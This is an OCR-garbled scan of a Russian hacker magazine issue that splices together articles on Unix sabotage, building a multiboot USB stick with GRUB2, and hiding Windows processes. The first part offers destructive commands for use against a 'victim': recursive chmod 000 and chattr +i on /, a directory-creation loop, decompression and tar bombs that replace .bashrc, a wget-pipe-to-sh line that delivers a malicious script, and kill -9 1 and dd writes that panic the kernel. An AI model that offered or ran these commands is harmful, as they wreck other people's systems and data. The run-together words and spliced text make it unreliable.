книги хакеры / журнал хакер / 131_Optimized

ВUNIX чтоугодноможетбытьвирусом:)

ls будетпроисходитьочищениетекущегокаталога. Представь, какудивитсянашажертва, когдазапуститls иувидит, чтовсефайлыкуда-топодевались. Будетещесмешнее, еслионапопытаетсявыйтинакаталогвышеивновьвызоветls…

Ещеодининтересныйтрюк: выставитьсовершенноизвращенныеправанавсефайлыикаталогисистемы:

#chown nobody:nobody -R /

#chmod 000 -R /

Этоприведетктому, чтодееспособнымостанетсятолько root, тогдакаквсеостальныепользователинесмогутдаже войтивсистему. Болеезловещийвариант: воспользоваться расширеннымиатрибутамифайловойсистемыext3/4 для того, чтобысделатьвсефайлысистемынемодифицируемымиинеудаляемыми.

#cd /

#chattr -R +i *

Особаяфишкаэтогоспособавтом, чтонеопытномупользователюбудеточеньсложнонайтипричинустольстранного поведенияфайловойсистемы. Расширенныеатрибуты непользуютсяпопулярностью, ихнепоказываеткоманда ls, многиевообщенезнаютоихсуществовании. Жертва проверитправаиубедится, чтовсевпорядке, затемначнет пробоватьперемонтироватьфайловуюсистемуврежиме

записи, чтонедастровнымсчетомничего, попытаетсяперезагрузитьсистему, чтобудетневозможносделать. Наконец, недругнажметкнопку«сброс» насистемномблоке, дождется окончаниявосстановленияжурналаивновьпопробуетудалитьфайл… Нонетут-тобыло, расширенныеатрибутыможно убратьтолькоспомощьюутилитыchattr иличерезотключениеихподдержкивядре.

Еслижетвояжертва—суровыйпрофи,умеющийпользоваться загрузочнымдискомдлявосстановлениясистемы, знающий оправахдоступаирасширенныхатрибутах, аспособудаления всегоивсятысчитаешьслишкомнизкиминедостойным, то предлагаювзятьназаметкуследующийпростойшелл-скрипт:

$ cd ~; for x in 'ls'; do mv -f $x $y; y=$x; done

Оннеубиваетданные, невводитвпользователявнепреодолимыйступор, нопозволяетотвсейдушипосмеяться. Послевыполненияэтойпоследовательностикомандвсе файлыиподкаталогидомашнегокаталогапользователя будутиметьнеправильныеимена, аеслиточнее: будут сдвинутынаодинвперед. Напервыйвзглядлистингфайлов будетвыглядетьправильно, нонапроверкуокажется, что содержимоелюбогоизфайловнесоответствуетимени. Жертвепридетсяизряднопостаратьсяиубитьмноговременипередтем, каконавсеприведетвпорядок.

UNIXOID

while : ; do mkdir subdir cd subdir

done

Этакомандаэффективносработаетнафайловойсистемеext4, ноненанесетособого вредаext3 иufs, вкоторыезаложенлимитна количествоподкаталогов(32000). Крометого, существуетимножествовариантовразлич-

ныхdecompression-бомбиtar-бомб. Смысл ихвтом, чтобысоздатьархив, которыйпосле распаковкизайметогромноепространство нажесткомдискеилизахламитфайловую систему. Decompression-бомбысоздаютсяс

помощьюгенерацииогромныхразмеровфайла, содержащегобольшоеколичествомногократно повторяющихсяблоковданных, иегоупаковкис помощьюbzip2. Врезультатесовсемнебольшой безобидныйархивраспакуетсявоченьбольшойфайл, которыйможетзанятьвесьжесткий диск. Способсоздания: беремисточникданных (хотьстроку«aaaaa»), организуемлуп, который будетмногократнодобавлятьсодержимое источникаданныхвновыйфайл, азатемпросто запаковываемегоспомощьюbzip2:

$ for i in {1..1000000}; do for i in {1..1000000}; do

echo "aaaaa" >> bomb done

done

$ bzip2 bomb

Tar-бомбысоздаютсяиначе. Ихзадачане толькозахламитьфайловуюсистему, ноипопы- татьсяподменитькакие-либофайлыбазовой системы. Создаютсяониспомощьюупаковкив tar-файлсразунесколькихкаталоговифайлов, которыебудутраспакованывсистему, врезультатечегорабочийкаталогстанетпомойкой, а некоторыефайлыбудутзаменены:

$ mkdir bomb $ cd bomb

Исходныйкодпрограммки, создающейв/tmp файлогромного размера

// создаем разные файлы и каталоги $ mkdir ...

$ tar -cf bomb.tar * .* $ bzip2 bomb.tar

Послераспаковкитакогофайлавтекущем каталогежертвыпоявятсявсефайлыикаталоги, находящиесявархиве. Всясольвтом, чтомногиераспаковываютархивыпрямов домашнийкаталог, поэтому, есливархивпоместить, например, файл.bashrc снужнымнам содержимым, тооригинальный.bashrc будет замененнааналогизархива(наскриншоте«В UNIX чтоугодноможетбытьвирусом» наглядно показано, какэтосделать). Аведьэтоотличный способподсунутьнашкоджертве, скажешьты ибудешьабсолютноправ. Издругихспособов могупривестиупаковкунашихфайловвdeb/ rpm-пакеты, которые, какоказывается, большинствопользователейзапускаютбезвсяких подозрений, и, достаточноинтересныйспособ указанияпрямойссылкинанашвредоносный скрипт:

$ wget http://адрес_скрипта -O- | sh

SHOW NO MERCY

Ипоследнее: насамомделеубитьUNIX элементарно, идляэтогоненужныникакиескрипты, бомбы, стресс-тестыфайловойсистемыи другиеприблуды, достаточнооднойкоманды. Да-да, UNIX оченьпростоуничтожитьпрямо

Воттакможноперевернутьсодержимоекаталогасногнаголову

изкоманднойстроки. Яприведувсегопять возможныхвариантов, хотянасамомделеих великоемножество:

1.Убиваемголовнойпроцесс:

#kill -9 1

2.Убиваемвсепроцессысистемывобратном порядке(чтобыпосмаковать):

#kill -9 {64000..1} >

/dev/null 2>&1

3.Отправляемядровпаникуспомощьюзаписи мусорав/dev/port:

#dd if=/dev/random of=/dev/port

4.Отправляемядровпаникуспомощьюзабиванияпамятиядранулями:

#dd if=/dev/zero bs=512 of=/dev/mem

5.ОтправляемLinux впаникучерезстандартныйинтерфейс(!):

#echo 1 > /proc/sys/kernel/panic z

нафлешке

Создаеммультизагрузочную флешкунавсеслучаижизни

Думаю, увсехнасестьнескольколюбимых LiveCD, которыемыпостоянноносимссобой— навсякийслучай. Иэтооправданно, ведьLiveCD незаменим, когданужно восстановитьработоспособностьОСили простопоработатьвзнакомомокружении. НоCD/DVD — громоздкийиненадежный носитель. Еслитебенадоелотаскатьс собойворохLiveCD, япредлагаюзаписать всеэтиОСнафлешку.

следующимобразом:

$ sudo grub-install --root- directory=/media/Ubuntu/ /dev/sdb

где/dev/sdb — устройство, кудаустановится бутлоадер, а/media/Ubuntu/ — путь, гдебудет находитьсякаталог/boot/grub сконфигоми модулями. Вкаталоге/media/Ubuntu/boot/ grub создадимконфигурационныйфайлgrub. cfg ссодержимым:

$ sudo nano /media/Ubuntu/boot/grub/grub. cfg

set timeout=5 set default=0

menuentry "Reboot" { reboot

}

menuentry "Halt" { halt

}

Параметр«set timeout» задаетвремя, поистечениикоторогоприбездействиипользователя будетзагруженпункт, заданныйпарамет-

ром«set default». Конструкцииmenuentry

описываютпунктыменю(нумерацияпунктов начинаетсяс0).

ПЕРВОЕБЛЮДО

ВариантовустановкиUbuntu нафлешку несколько:

1.Запуститьустановкуивыбратьвкачестве корняразделнафлешке. Всевносимыев системуизменениябудутсохраняться, номы лишимсяпреимуществlive-системы: возникнутпроблемысзагрузкойиксовнакомпах сразнымивидеокартами, будутплодиться сетевыеустройствавudev ит.д.

2.Простоскопироватьнафлешкусодержимое LiveCD. ВэтомслучаеостанутсявсепреимуществаLiveCD, новносимыеизменениябудут теряться.

3.СкопироватьнафлешкусодержимоеLiveCD исоздатьфайлcasper-rw, вкоторомбудут сохранятьсявсеизменения. Намойвзгляд, наиболееоптимальныйвариант.

Копируемназаранееподготовленныйраздел содержимоеLiveCD, заисключениемпапок isolinux, pics ифайловwubi.exe иautorun.inf (незабываемскопироватьскрытыйкаталог

.disk). Затемсоздадимнаэтомразделефайл casper-rw размером1250 Мб:

$ dd if=/dev/zero of=casper-rw bs=1M count=1250

иотформатируемеговext2:

$ mkfs.ext2 -F casper-rw

Теперьвgrub.cfg добавимпункты:

$ sudo nano /media/Ubuntu/boot/grub/grub. cfg

menuentry "Ubuntu" {

UNIXOID

Поумолчаниюприперезагрузкев/var/log создаютсяневсефайлы(несоздается, например, / var/log/wtmp, аоннужентакимсистемнымутилитам, какlogin, last, who ит.п.) Этоповедение можноизменитьвфайле/etc/newsyslog.conf.

Достаточнокстрокес/var/log/wtmp добавить

«C»:

# ee /etc/newsyslog.conf

ДЕСЕРТ

ПеренесемсодержимоеDrWeb LiveCD (каталог boot) насоответствующийразделипропишем вgrub.cfg:

$ sudo nano /media/Ubuntu/boot/grub/grub. cfg

menuentry «DrWEB» { set root=(hd0,6)

linux /boot/vmlinuz root=/dev/ ram0 init=/linuxrc init_opts=4 dokeymap looptype=squashfs loop=/module/white.mo usbroot initrd=/boot/initrd vga=791

splash=silent,theme:drweb CONSOLE=/ dev/tty1

initrd /boot/initrd

}

menuentry «DrWEB safe» { set root=(hd0,6)

linux /boot/vmlinuz init_opts=3 root=/dev/ram0 quiet dokeymap looptype=squashfs loop=/module/ white.mo usbroot slowusb init=/ linuxrc

initrd /boot/initrd

}

СдискаSystem Rescue CD скопируемв соответствующийразделкаталогиisolinux и ntpasswd, атакжефайлыsysrcd.dat, sysrcd.md5

иversion. ДобавимвконфигGrub’апункты:

$ sudo nano /media/Ubuntu/boot/grub/grub. cfg

menuentry «System Rescue CD» { set root=(hd0,5)

linux /isolinux/rescuecd initrd /isolinux/initram.igz

}

# Альтернативное ядро (более старая версия) — на случай, если не загрузится основное

menuentry "System Rescue CD altker"

{

set root=(hd0,5)

linux /isolinux/altker32 initrd /isolinux/initram.igz

}

System Rescue CD содержиттакже64-битные

МенюGrub2

ЗагрузкаUbuntu сфлешки

ядра, ноонимогутпригодитьсялишьводномслучае— принеобходимостисделатьchroot в64-битнуюсистему, поэтомунет смыславыноситьихвменюзагрузчика. Кроместандартных параметров(типаacpi=off), ядроSystem Rescue CD можетпри загрузкеприниматьразличныеспецифическиепараметры, самыеполезныеизкоторых:

•setkmap=uk — призагрузкенеспрашиваетраскладку, устанавливаетuk.

•docache — загружаетвсюсистемувОЗУ(потребуетсяне менее300 Мб).

•forcevesa — использоватьвидеодрайверvesa (полезнопри проблемахсвидеорежимом).

•dostartx — запускатьиксыпризагрузке.

ВкомплектесSystem Rescue CD идеттакжеворохзагрузочныхдискет: FreeDOS, mhdd, aida (прогадляполучения информацииожелезе), gag (загрузчик), ranish (менеджер разделов, аналогfdisk), dban (утилитадляуничтожения данныхсвинтов), memtest. ИзвсехдискетмнемогутпригодитьсятолькоFreeDOS иmhdd. Grub2 сможетзагрузитьэти дискетыприпомощиmemdisk (изсоставапакетаsyslinux). Яскопировалфайлыfreedos.img иmhdd.img, атакжефайл

/usr/lib/syslinux/memdisk вкаталог/bootdisk напервом разделе. Вgrub.cfg добавил:

$ sudo nano /media/Ubuntu/boot/grub/grub.cfg

menuentry «FreeDOS» { set root=(hd0,1)

linux16 /bootdisk/memdisk initrd16 /bootdisk/freedos.img

}

menuentry «MHDD» { set root=(hd0,1)

linux16 /bootdisk/memdisk initrd16 /bootdisk/mhdd.img

}

КРАСОТАСПАСЕТМИР

Нувот, всегрузитсяиработает. Ночерноеменюсбелымибук-

XÀÊÅÐ 11 /131/ 09

ПЕСОЧНИЦА

Немногоотом, счемпридетсяиметьдело. Почтивсеметодысокрытияпроцессовот таскменеджеровиразличныхпросмотрщиковфактическиоснованынаперехвате

NtQuerySystemInformation (каквядре, так ивring3), атакжеисключенииструктуры EPROCESS издвунаправленногоспискав

ядре. Дальшефантазияпрогеровпочему-то неидет. Этосвязаносоднойконструктивной особенностьюсуществованияпроцессовв ОСWindows — можно, кпримеру, подсуетитьсяисоспискамипроцессов, истаблицами хендлов, ноединственное, чтоделатькатегорическинельзя— исключатьпроцессизсписковпланировщикаWindows. Впротивном

случаепроцесснеполучитпроцессорного временииегокодпростонебудетвыполнен. Именнопоэтойпричинесоздатьполностью невидимыйпроцессвОСWindows нельзя, авирусыитрояны, существующиеввиде

отдельногопроцесса— вещьнеумная, характеризующаясвоегосоздателякакнеумелого программиста. Вцелом, жизнедеятельность